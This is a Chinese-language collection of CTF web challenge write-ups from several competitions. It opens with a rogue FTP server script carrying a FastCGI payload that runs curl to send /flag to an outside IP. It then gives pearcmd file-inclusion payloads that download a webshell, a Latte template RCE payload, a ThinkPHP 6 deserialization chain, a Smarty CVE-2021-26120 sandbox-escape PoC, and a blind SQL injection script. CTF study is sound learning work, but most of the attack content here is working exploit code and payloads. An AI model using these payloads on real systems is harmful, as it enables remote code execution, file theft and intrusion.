conn.send(b"215 \n")
else:
conn.send(b"200 \n")

print(conn.recv(20))
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")

print(conn.recv(20))
conn.send(b"200 \n")

print(conn.recv(20))
if count == 1:
conn.send(b"227 47,107,56,244,152,109\n")
else:
conn.send(b"227 127,0,0,1,35,40\n")

print(conn.recv(20))
if count == 1:
conn.send(b"125 \n")

print("buildconnect!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("cutconnect!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()

if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
import socket
from urllib.parse import unquote

payload = unquote("%01%01%1EJ%00%08%00%00%00%01%00%00%00%00%00%00%01%04%1EJ%02%16%00%00%11%0BGATEWAY_INTERFACEFastCGI/1.0%0E%04REQUEST_METHODPOST%0F%17SCRIPT_FILENAME/var/www/html/index.php%0B%17SCRIPT_NAME/var/www/html/index.php%0C%00QUERY_STRING%0B%17REQUEST_URI/var/www/html/index.php%0D%01DOCUMENT_ROOT/%0F%0ESERVER_SOFTWAREphp/fcgiclient%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9985%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP/1.1%0C%10CONTENT_TYPEapplication/text%0E%02CONTENT_LENGTH63%098PHP_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%0F8PHP_ADMIN_VALUEauto_prepend_file%20%3D%20php%3A//input%3B%0D%0Aallow_url_include%20%3D%20On%01%04%1EJ%00%00%00%00%01%05%1EJ%00%3F%00%00%3C%3Fphp%20system%28%27curl%20http%3A//47.107.56.244%3A8084/%20-F%20file%3D%40/flag%27%29%3B%3F%3E%01%05%1EJ%00%00%00%00")
payload = payload.encode('utf-8')

host = '0.0.0.0'
port = 23
sk = socket.socket()
sk.bind((host, port))
sk.listen(5)

# ftp被动模式的passvie port,监听到1234
sk2 = socket.socket()
sk2.bind((host, 1234))
sk2.listen()

# 计数器,用于区分是第几次ftp连接
count = 1
while 1:
conn, address = sk.accept()
conn.send(b"200 \n")
print(conn.recv(20)) # USER aaa\r\n 客户端传来用户名
if count == 1:
conn.send(b"220 ready\n")
else:
conn.send(b"200 ready\n")

print(conn.recv(20)) # TYPE I\r\n 客户端告诉服务端以什么格式传输数据,TYPE I表示二进制, TYPE A表示文本
if count == 1:
conn.send(b"215 \n")
else:
conn.send(b"200 \n")

print(conn.recv(20)) # SIZE /123\r\n 客户端询问文件/123的大小
if count == 1:
conn.send(b"213 3 \n")
else:
conn.send(b"300 \n")

print(conn.recv(20)) # EPSV\r\n'
conn.send(b"200 \n")

print(conn.recv(20)) # PASV\r\n 客户端告诉服务端进入被动连接模式
if count == 1:
conn.send(b"227 124,70,40,5,4,210\n") # 服务端告诉客户端需要到哪个ip:port去获取数据,ip,port都是用逗号隔开,其中端口的计算规则为:4*256+210=1234
else:
conn.send(b"227 127,0,0,1,35,40\n") # 端口计算规则:35*256+40=9000

print(conn.recv(20)) # 第一次连接会收到命令RETR /123\r\n,第二次连接会收到STOR /123\r\n
if count == 1:
conn.send(b"125 \n") # 告诉客户端可以开始数据链接了
# 新建一个socket给服务端返回我们的payload
print("建立连接!")
conn2, address2 = sk2.accept()
conn2.send(payload)
conn2.close()
print("断开连接!")
else:
conn.send(b"150 \n")
print(conn.recv(20))
exit()

# 第一次连接是下载文件,需要告诉客户端下载已经结束
if count == 1:
conn.send(b"226 \n")
conn.close()
count += 1

2021L3HCTF

EasyPHP

多半是签到了

1
2
3
4
5
6
7
8
<?php
error_reporting(0);
if ("admin" == $_GET[username] &‮⁦+!!⁩⁦& "‮⁦CTF⁩⁦l3hctf" == $_GET[‮⁦L3H⁩⁦password]) { //Welcome to
include "flag.php";
echo $flag;
}
show_source(__FILE__);
?>

本来看着是这样的

1
if ("admin" == $_GET[username] && "l3hctf" == $_GET[password]) { //Welcome to L3HCTF+!!

复制之后就成上面那样了

就挺简单的,被那两个东西框起来之后,显示就会被放到最后,也就是-1的位置,然后测了一下两个&之间的那个不影响判断,其他就和正经传post一样

GET:

1
?username=admin&%E2%80%AE%E2%81%A6L3H%E2%81%A9%E2%81%A6password=%E2%80%AE%E2%81%A6CTF%E2%81%A9%E2%81%A6l3hctf

听说是什么rgb编码,挺危险的,但可以被url编码,就能看见了,他的格式一个块就是3个字符

西湖论不懂剑

灏妹的web

就一张图,啥也没有,抓包看响应头也找不到任何提示

扫源码,啥都给200

复现:

扫到.DS_Store

当时也扫到一些xml文件,没遇到过这个知识,就没注意,在gitgub上找到一个工具脚本:DS_Store_exp

1
python2 url/.DS_Store

扫描得到.idea/dataSources
这是一个xml文件,访问即可得到(因为啥都返回200,所以当时只看了一些看到的xml文件,就没想到,难受了)

ezupload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
 <?php
error_reporting(0);
require 'vendor/autoload.php';
$latte = new Latte\Engine;
$latte->setTempDirectory('tempdir');
$policy = new Latte\Sandbox\SecurityPolicy;
$policy->allowMacros(['block', 'if', 'else','=']);
$policy->allowFilters($policy::ALL);
$policy->allowFunctions(['trim', 'strlen']);
$latte->setPolicy($policy);
$latte->setSandboxMode();
$latte->setAutoRefresh(false);

if(isset($_FILES['file'])){
$uploaddir = '/var/www/html/tempdir/';
$filename = basename($_FILES['file']['name']);
if(stristr($filename,'p') or stristr($filename,'h') or stristr($filename,'..')){
die('no');
}
$file_conents = file_get_contents($_FILES['file']['tmp_name']);
if(strlen($file_conents)>28 or stristr($file_conents,'<')){
die('no');
}
$uploadfile = $uploaddir . $filename;

if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
$message = $filename ." was successfully uploaded.";
} else {
$message = "error!";
}

$params = [
'message' => $message,
];
$latte->render('tempdir/index.latte', $params);
}
else if($_GET['source']==1){
highlight_file(__FILE__);
}
else{
$latte->render('tempdir/index.latte', ['message'=>'Hellow My Glzjin!']);
}

有一个上传文件的点

对于文件名过滤了p和h

文件内容长度限制了28

预期:

latte的模板渲染rce

传文件:
POST:

1
2
3
4
Content-Disposition: form-data; name="file"; filename="index.latte"
Content-Type: application/octet-stream

{=system%00($_GET[1])}

利用:
GET:?1=ls

非预期:

.usr.ini

该文件可覆盖配置文件,使被设置的文件被任意php文件包含:

auto_prepend_file=”/flag”

但当前文件夹下还需要有一个php文件才能利用成功

而正好latte模板会传一个临时php文件,访问即可包含获取到/flag

而临时文件文件名的算法

还是贴个链接,fmyyy1师傅的wp

OA?RCE?

弱密码登入 admin admin123

尝试文件上传都显示服务器有问题

审计源码

首先是index模块的phpinfo方法可以看到phpinfo界面:

1
2
3
4
5
public function phpinfoAction()
{
$this->display = false;
phpinfo();
}

可以看到register_argc_argv是开启的

可以对pearcmd进行文件包含:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
public function getshtmlAction()
{
$surl = $this->jm->base64decode($this->get('surl'));
$num = $this->get('num');
$menuname = $this->jm->base64decode($this->get('menuname'));
if(isempt($surl))exit('not found');
$file = ''.P.'/'.$surl.'.php';
if(!file_exists($file))$file = ''.P.'/'.$surl.'.shtml';
if(!file_exists($file))exit('404 not found '.$surl.'');
if(contain($surl,'home/index/rock_index'))$this->showhomeitems();//首页的显示
$this->displayfile = $file;
//记录打开菜单日志
if($num!='home' && getconfig('useropt')=='1')
m('log')->addlog('打开菜单', '菜单['.$num.'.'.$menuname.']');
}

此处仅限制了文件扩展名为.php

文件位置:/usr/local/lib/php/pearcmd.phppearcmd知识

由于会进行解码,先进行一个base64的编码:
Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA

?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA

这样就包含到了,接着是进行命令执行

利用一

在(可写)目录下写马:

/var/www/html/webmain/flow/page/

即:

?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA&/+/var/www/html/webmain/flow/page/1.php

利用二:

利用install指令出网下载到一个马

1
?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdXNyL2xvY2FsL2xpYi9waHAvcGVhcmNtZA&+install+-R+/tmp+http://127.0.0.1/1.php

然后按照连接文章里面说的,-R是指定下载目录,而最终所在目录是指定目录下的tmp/pear/download

按照包含pearcmd.php文件的方法进行包含利用:

?m=index&a=getshtml&surl=Li4vLi4vLi4vLi4vLi4vLi4vLi4vdG1wL3RtcC9wZWFyL2Rvd25sb2FkLzE

EasyTp

题目:访问/public开始攻击

提示了highlight_file

利用[WMCTF2020]Make PHP Great Again的知识点:知识点链接

符号链接绕过

/public/?file=/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/var/www/html/app/controller/Index.php

获取源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php

namespace app\controller;

use app\BaseController;

class Index extends BaseController
{
public function index()
{

if (isset($_GET['file'])) {
$file = $_GET['file'];
$file = trim($file);
$file = preg_replace('/\s+/','',$file);
if(preg_match("/flag/i",$file)){ die('<h2> no flag..');}
if(file_exists($file)){
echo "file_exists() return true..</br>";
die( "hacker!!!");
}else {
echo "file_exists() return false..";
@highlight_file($file);
}

} else {

echo "Error! no file parameter <br/>";
echo "highlight_file Error";
}

}

public function unser(){
if(isset($_GET['vulvul'])){
$ser = $_GET['vulvul'];
$vul = parse_url($_SERVER['REQUEST_URI']);
parse_str($vul['query'],$query);

foreach($query as $value)
{
if(preg_match("/O/i",$value))
{
die('</br> <h1>Hacking?');
exit();
}
}
unserialize($ser);
}

}
}

path部分如果为///则会导致parse_str函数解析错误

parse_str绕过知识点

///public/Index/unser?vulvul

绕过检测,可以进行反序列化

先传入:

?s=1

得到版本为6.x

使用composer在网上下载个源码调下链子:

composer create-project topthink/think=6.0.x-dev v6.0

6.x的新入口:vendor/topthink/think-orm/src/Model.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
abstract class Model implements JsonSerializable, ArrayAccess, Arrayable, Jsonable
{
public function __destruct()
{
if ($this->lazySave) {
$this->save();
}
}

// 进入save函数

public function save(array $data = [], string $sequence = null): bool
{
// 数据对象赋值
$this->setAttrs($data);

if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
return false;
}

$result = $this->exists ? $this->updateData() : $this->insertData($sequence);

if (false === $result) {
return false;
}

// 写入回调
$this->trigger('AfterWrite');

// 重新记录原始数据
$this->origin = $this->data;
$this->get = [];
$this->lazySave = false;

return true;
}

// 下一步是进入updataData函数
// 前提:
// $this->isEmpty()为false,
// $this->trigger('BeforeWrite')为true
// $this->exists为true

// isEmpty()
// vendor/topthink/think-orm/src/model/concern/Model.php
public function isEmpty(): bool
{
return empty($this->data);
}
// 此处构造$data非空

// trigger()
// vendor/topthink/think-orm/src/model/concern/ModelEvent.php
protected function trigger(string $event): bool
{
if (!$this->withEvent) {
return true;
}

$call = 'on' . Str::studly($event);

try {
if (method_exists(static::class, $call)) {
$result = call_user_func([static::class, $call], $this);
} elseif (is_object(self::$event) && method_exists(self::$event, 'trigger')) {
$result = self::$event->trigger('model.' . static::class . '.' . $event, $this);
$result = empty($result) ? true : end($result);
} else {
$result = true;
}

return false === $result ? false : true;
} catch (ModelEventException $e) {
return false;
}
}
// 此处构造withEvent为false

// 进入updateData()函数
// vendor/topthink/think-orm/src/Model.php
protected function updateData(): bool
{
// 事件回调
if (false === $this->trigger('BeforeUpdate')) {
return false;
}

$this->checkData();

// 获取有更新的数据
$data = $this->getChangedData();

if (empty($data)) {
// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}

return true;
}

if ($this->autoWriteTimestamp && $this->updateTime) {
// 自动写入更新时间
$data[$this->updateTime] = $this->autoWriteTimestamp();
$this->data[$this->updateTime] = $this->getTimestampValue($data[$this->updateTime]);
}

// 检查允许字段
$allowFields = $this->checkAllowFields(); // 下一个入口
foreach ($this->relationWrite as $name => $val) {
if (!is_array($val)) {
continue;
}

foreach ($val as $key) {
if (isset($data[$key])) {
unset($data[$key]);
}
}
}

// 模型更新
$db = $this->db();

$db->transaction(function () use ($data, $allowFields, $db) {
$this->key = null;
$where = $this->getWhere();

$result = $db->where($where)
->strict(false)
->cache(true)
->setOption('key', $this->key)
->field($allowFields)
->update($data);

$this->checkResult($result);

// 关联更新
if (!empty($this->relationWrite)) {
$this->autoRelationUpdate();
}
});

// 更新回调
$this->trigger('AfterUpdate');

return true;
}
// 前提
// trigger返回true 前面构造已经达成
// empty($data)返回为false

// $data的赋值是getChangedData()返回值
public function getChangedData(): array
{
$data = $this->force ? $this->data : array_udiff_assoc($this->data, $this->origin, function ($a, $b) {
if ((empty($a) || empty($b)) && $a !== $b) {
return 1;
}

return is_object($a) || $a != $b ? 1 : 0;
});

// 只读字段不允许更新
foreach ($this->readonly as $key => $field) {
if (array_key_exists($field, $data)) {
unset($data[$field]);
}
}

return $data;
}
// 构造$force为true使data返回为空数组

// 进入checkAllowFields()函数
protected function checkAllowFields(): array
{
// 检测字段
if (empty($this->field)) {
if (!empty($this->schema)) {
$this->field = array_keys(array_merge($this->schema, $this->jsonType));
} else {
$query = $this->db();
$table = $this->table ? $this->table . $this->suffix : $query->getTable();

$this->field = $query->getConnection()->getTableFields($table);
}

return $this->field;
}

$field = $this->field;

if ($this->autoWriteTimestamp) {
array_push($field, $this->createTime, $this->updateTime);
}

if (!empty($this->disuse)) {
// 废弃字段
$field = array_diff($field, $this->disuse);
}

return $field;
}
// 由于条件默认值即是成立的,因此直接进入db函数,这是网上找的链子,但前面的updataData,在checkAllowFields函数下面一句就是db函数,写完这条再看吧

public function db($scope = []): Query
{
/** @var Query $query */
$query = self::$db->connect($this->connection)
->name($this->name . $this->suffix)
->pk($this->pk);

if (!empty($this->table)) {
$query->table($this->table . $this->suffix);
}

$query->model($this)
->json($this->json, $this->jsonAssoc)
->setFieldType(array_merge($this->schema, $this->jsonType));

// 软删除
if (property_exists($this, 'withTrashed') && !$this->withTrashed) {
$this->withNoTrashed($query);
}

// 全局作用域
if (is_array($scope)) {
$globalScope = array_diff($this->globalScope, $scope);
$query->scope($globalScope);
}

// 返回当前模型的数据库查询对象
return $query;
}
// 这里db函数中出现了字符串拼接,就可以控制变量对魔术方法__toString触发

// 这里利用到的是vendor/topthink/think-orm/src/think/model/concern/Conversion.php
public function __toString()
{
return $this->toJson();
}
// 跟进toJson()
public function toJson(int $options = JSON_UNESCAPED_UNICODE): string
{
return json_encode($this->toArray(), $options);
}
// 跟进toArray
public function toArray(): array
{
$item = [];
$hasVisible = false;

foreach ($this->visible as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->visible[$relation][] = $name;
} else {
$this->visible[$val] = true;
$hasVisible = true;
}
unset($this->visible[$key]);
}
}

foreach ($this->hidden as $key => $val) {
if (is_string($val)) {
if (strpos($val, '.')) {
[$relation, $name] = explode('.', $val);
$this->hidden[$relation][] = $name;
} else {
$this->hidden[$val] = true;
}
unset($this->hidden[$key]);
}
}

// 合并关联数据
$data = array_merge($this->data, $this->relation);

foreach ($data as $key => $val) {
if ($val instanceof Model || $val instanceof ModelCollection) {
// 关联模型对象
if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
$val->visible($this->visible[$key]);
} elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
$val->hidden($this->hidden[$key]);
}
// 关联模型对象
if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
$item[$key] = $val->toArray();
}
} elseif (isset($this->visible[$key])) {
$item[$key] = $this->getAttr($key);
} elseif (!isset($this->hidden[$key]) && !$hasVisible) {
$item[$key] = $this->getAttr($key);
}

if (isset($this->mapping[$key])) {
// 检查字段映射
$mapName = $this->mapping[$key];
$item[$mapName] = $item[$key];
unset($item[$key]);
}
}

// 追加属性(必须定义获取器)
foreach ($this->append as $key => $name) {
$this->appendAttrToArray($item, $key, $name);
}

if ($this->convertNameToCamel) {
foreach ($item as $key => $val) {
$name = Str::camel($key);
if ($name !== $key) {
$item[$name] = $val;
unset($item[$key]);
}
}
}

return $item;
}
// 跟进appendAttrToArray
protected function appendAttrToArray(array &$item, $key, $name)
{
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getRelation($key, true);
$item[$key] = $relation ? $relation->append($name)
->toArray() : [];
} elseif (strpos($name, '.')) {
[$key, $attr] = explode('.', $name);
// 追加关联对象属性
$relation = $this->getRelation($key, true);
$item[$key] = $relation ? $relation->append([$attr])
->toArray() : [];
} else {
$value = $this->getAttr($name);
$item[$name] = $value;

$this->getBindAttrValue($name, $value, $item);
}
}
// 利用$relation->append()触发一个,魔术方法__call()\




}

N1ctf

Signin

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
<?php 
//flag is /flag
$path=$_POST['path'];
$time=(isset($_GET['time'])) ? urldecode(date(file_get_contents('php://input'))) : date("Y/m/d H:i:s");
$name="/var/www/tmp/".time().rand().'.txt';
$black="f|ht|ba|z|ro|;|,|=|c|g|da|_";
$blist=explode("|",$black);
foreach($blist as $b){
if(strpos($path,$b) !== false){
die('111');
}
}
if(file_put_contents($name, $time)){
echo "<pre class='language-html'><code class='language-html'>logpath:$name</code></pre>";
}
$check=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($path));
if(is_file($check)){
echo "<pre class='language-html'><code class='language-html'>".file_get_contents($check)."</code></pre>";
}

通过time可以让写入内容变得可控,直接输入会被解析成时间,可以使用反斜杠转义,传入get参数time的同时POST部分传入一个/\f\l\a\g

将得到的位置赋值给path参数,这样file_get_contents得到的参数就是刚刚写入的/flag

湖湘杯

web2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
// common.php
assign($_GET['name'],$_GET['value']);

// =>helper.php
function assign($name, $value = null) {
\wiphp\View::assign($name, $value);
}

// =>view.php
public static function assign($name, $value = NULL) {
if ($name != '') self::$_vars[$name] = $value;
}
// end

// common.php
return view();

// =>helper.php
function view($file = '', $vars = []) {
return \wiphp\View::fetch($file, $vars);
}

// =>view.php
public static function fetch($file = '', $vars = []) {
if (!empty($vars)) self::$_vars = array_merge(self::$_vars, $vars);
define('__THEME__', C('theme'));
define('VPATH', (THEME_ON)? PATH_VIEW.'/'.__THEME__ : PATH_VIEW);
$path = __MODULE__;
if ($file == '') {
$file = __ACTION__;
} elseif (strpos($file, ':')) {
list($path,$file) = explode(':', $file);
} elseif (strpos($file, '/')) {
$path = '';
}
if ($path == '') {
$vfile = VPATH.'/'.$file.'.html';
} else {
$path = strtolower($path);
$vfile = VPATH.'/'.$path.'/'.$file.'.html';
}
if (!file_exists($vfile)) {
App::halt($file.' 模板文件不存在。');
} else {
define('__RUNTIME__', App::getRuntime());
array_walk_recursive(self::$_vars, 'self::_parse_vars'); //处理输出
\Tple::render($vfile, self::$_vars);
}
}
// =>
\Tple::render($vfile, self::$_vars);

// =>Tple.php
public static function render($vfile, $_vars = []) {
$shtml_open = C('shtml_open');

if (!$shtml_open || basename($vfile) == 'jump.shtml') {
self::renderTo($vfile, $_vars);
}
// else {
// $params = http_build_query(I());
// $sfile = md5(__MODULE__.basename($vfile).$params).'.shtml';
// $sfile = PATH_SHTML.'/'.$sfile;
// $ntime = time();
// $shtml_time = max(10, intval(C('shtml_time')));
// if (is_file($sfile) && filemtime($sfile) > ($ntime - $shtml_time)) {
// include $sfile;
// } else {
// ob_start();
// self::renderTo($vfile, $_vars);
// $content = ob_get_contents();
// file_put_contents($sfile, $content);
// }
// }
}

// =>self::renderTo($vfile, $_vars);
public static function renderTo($vfile, $_vars = []) {
$m = strtolower(__MODULE__);
// var_dump($m);
$cfile = 'view-'.$m.'_'.basename($vfile).'.php';
// var_dump($cfile);
if (basename($vfile) == 'jump.html') {
$cfile = 'view-jump.html.php';
}
$cfile = PATH_VIEWC.'/'.$cfile;
if (APP_DEBUG || !file_exists($cfile) || filemtime($cfile) < filemtime($vfile)) {
$strs = self::comp(file_get_contents($vfile), $_vars);
// var_dump($str);
file_put_contents($cfile, $strs);
}
extract($_vars);
// echo $cfile."<br>";
include $cfile;
}

变量覆盖

runtime/viewc/view-index_index.html.php

伪协议读文件

文件包含就可以尝试利用到pearcmd.php进行rce

就挺拉的,看了6个小时才找到extract函数变量覆盖,外加结合include函数可以进行任意命令执行,但真找不出利用点了,然后赛后才问队友们怎么出的(怕打扰大家,这次比赛挺重要的),说是利用pearcmd,这谁知道啊,还是学长一时想起有这个办法,就挺无语的

就文件包含

/usr/share/pear/pearcmd.php&+list
相当于执行
pear list

进行一个文件的写或者直接外网下载一个马,进行包含利用即可

?cfile=/usr/share/pear/pearcmd.php&+-R+/tmp+htttp://ip/1.php

?cfile=/tmp/tmp/pear/download/1.php

hgame

2022.1.20

蛛蛛…嘿嘿♥我的蛛蛛

爬虫,打开,看页面源码,点下一个,发现其中一个有超链接,而且是get方法获取,摆明写脚本,写:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests
import re
from urllib.parse import unquote

url = 'https://hgame-spider.vidar.club/ffc7beccf6'

re1 = requests.get(url=url)
find = re.findall('\?key=.*?"',re1.text)
cal = find[0][0:200]
cal = cal.replace('"','')
print(cal)
length = len(cal)
while length>20:
re1 = requests.get(url=url+cal)
find = re.findall('\?key=.*?"',re1.text)
cal = find[0][0:200]
cal = cal.replace('"','')
print(cal)
length = len(cal)

最后有个小小的报错,不影响出,点开最后一个页面,说就在这里,藏起来了,抓包看一下,响应头找到

Tetris plus

打开页面是一个js小游戏,题目介绍是让打3000分,玩了2500多,有点快哈,查看js源码,main没找到判定点,在checking.js末尾找到

1
2
3
4
if (score >= 3000 && !window.winned) {
winned = true
alert(atob("ZmxhZyDosozkvLzooqvol4/otbfmnaXkuobvvIzlho3mib7mib7lkKch"))
// [][(![]+[])

最后那段有点长就不贴了,然后查看base64编码,说是隐藏起来了,好家伙,打到3000分也不准备给人看是吧,这人坏啊,总之,后面那段注释的就是了
jother编码,直接自己写一个php页面,弹窗就完事了

1
2
<?php
echo "<script>alert([][(![]+[])[+[]]+(![]+[]));</script>";

反正得到的那串贴进js弹窗的函数就完事,运行就得到结果了
啊哈哈哈哈,我的任务完成啦

hufu

ezphp

1
<?php (empty($_GET["env"])) ? highlight_file(__FILE__) : putenv($_GET["env"]) && system('echo hfctf2022');?>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
FROM php:7.4.28-fpm-buster

LABEL Maintainer="yxxx"
ENV REFRESHED_AT 2022-03-14
ENV LANG C.UTF-8

RUN sed -i 's/http:\/\/security.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN sed -i 's/http:\/\/deb.debian.org/http:\/\/mirrors.163.com/g' /etc/apt/sources.list
RUN apt upgrade -y && \
apt update -y && \
apt install nginx -y

ENV DEBIAN_FRONTEND noninteractive



COPY index.php /var/www/html
COPY default.conf /etc/nginx/sites-available/default
COPY flag /flag

EXPOSE 80

CMD php-fpm -D && nginx -g 'daemon off;'

babysql

题目描述:It is a pure sql injection challenge. Login any account to get flag. Have fun with mysql 8. There is something useful in /hint.md.
意思是登陆成功就能拿到flag,还有个hint页面,打开看看

1
2
3
4
5
6
7
CREATE TABLE `auth` (
`id` int NOT NULL AUTO_INCREMENT,
`username` varchar(32) NOT NULL,
`password` varchar(32) NOT NULL,
PRIMARY KEY (`id`),
UNIQUE KEY `auth_username_uindex` (`username`)
) ENGINE=InnoDB AUTO_INCREMENT=2 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_0900_ai_ci;
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import { Injectable } from '@nestjs/common';
import { ConnectionProvider } from '../database/connection.provider';

export class User {
id: number;
username: string;
}

function safe(str: string): string {
const r = str
.replace(/[\s,()#;*\-]/g, '')
.replace(/^.*(?=union|binary).*$/gi, '')
.toString();
return r;
}

@Injectable()
export class AuthService {
constructor(private connectionProvider: ConnectionProvider) {}

async validateUser(username: string, password: string): Promise<User> | null {
const sql = `SELECT * FROM auth WHERE username='${safe(username)}' LIMIT 1`;
const [rows] = await this.connectionProvider.use((c) => c.query(sql));
const user = rows[0];
if (user && user.password === password) {
// eslint-disable-next-line @typescript-eslint/no-unused-vars
const { password, ...result } = user;
return result;
}
return null;
}
}

是mysql的建表命令和js源码
根据建表命令可以知道列名
根据代码逻辑可以知道过滤和sql处理语句
得到官方给出的hint:regexp
可以进行注入,对于空白字符被过滤的问题,本地开一个mysql8的docker靶机得到一个这样的可行语句:

1
2
select *from users where username='1'||'username'regexp'a'limit 1;
#条件变为:在'username'中查询'a'

改进之后

1
2
select *from users where username='1'||`username`regexp'a'limit 1; 
#将条件变为正则查询username列中的'a'

此时可以进行盲注,但需要bool点或者延时点,括号被过滤,延时无法进行,通过语句

select *from users where username=’1’||’username’regexp’’limit 1;

报错可知regexp查询序列为空会报500的错
但regexp是大小写不敏感的,最后在官方文档中找到语句

mysql>SELECT ‘abc’ LIKE _utf8mb4 ‘ABC’ COLLATE utf8mb4_bin;

这个格式可以使得大小写敏感
最终改语句为

1
2
select *from users where username=''||`username`regexp+_utf8mb4'^m'COLLATE'utf8mb4_bin'||`password`regexp''limit 1; 
#假如第二条语句查询到,则返回401,假如未查询到,则第三条语句执行将返回500

写一个python脚本跑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import string

url='http://47.107.231.226:21830/login'

string=string.ascii_lowercase + string.ascii_uppercase+ string.digits + '_'+'{'+'}'+'!'+'@'+'.'+'~'
flag=''
end=0
for j in range(1,200):

for i in string:
payload={
# "username":"'||`username`regexp+_utf8mb4'^{0}'COLLATE'utf8mb4_bin'||`password`regexp'".format(flag+i),
"username":"'||`password`regexp+_utf8mb4'^{0}'COLLATE'utf8mb4_bin'||`password`regexp'".format(flag+i),
"password":"1"
}
re = requests.post(url=url,data=payload)
if '401' in re.text:
flag = flag+i
break
print(i)

if i=='~':
end=1
print(flag)
if end==1:
print(flag)
break

# print(payload)
print(i)
print(re.text)

~号作为结束符在查询字符串最后,而点号作为任意单字符匹配则放在前一位,如果有未在查询字符串中的字符则匹配为点号
最后得到有两位未知的密码此时使用字符串集爆单字符即可

hmg2021

忘报名了,赛后复现

Smarty_calculator

知识点:ssti模板注入,正则,同类函数的使用替换,open_basedir

题目描述:开发者自己修改了模板的规则

传入显示没有登录,通过www.zip源码泄露,查看index.php:

if(isset($_COOKIE[‘login’])) {

抓包传入一个

cookie: login=1

由于题目显示smarty,猜测模板注入

输入:

POST:data={7*7}

返回49,输入:

POST:data={$smarty.version}

版本:3.1.39

找到该版本的一个cve:PHP Smarty模版代码注入漏洞(CVE-2021-26120)以及参考的文章,也就是漏洞分析的文章Smarty模板引擎多沙箱逃逸PHP代码注入漏洞

POC:

string:{function+name=’rce(){};system(“dir”);function+’}{/function}\

没回显

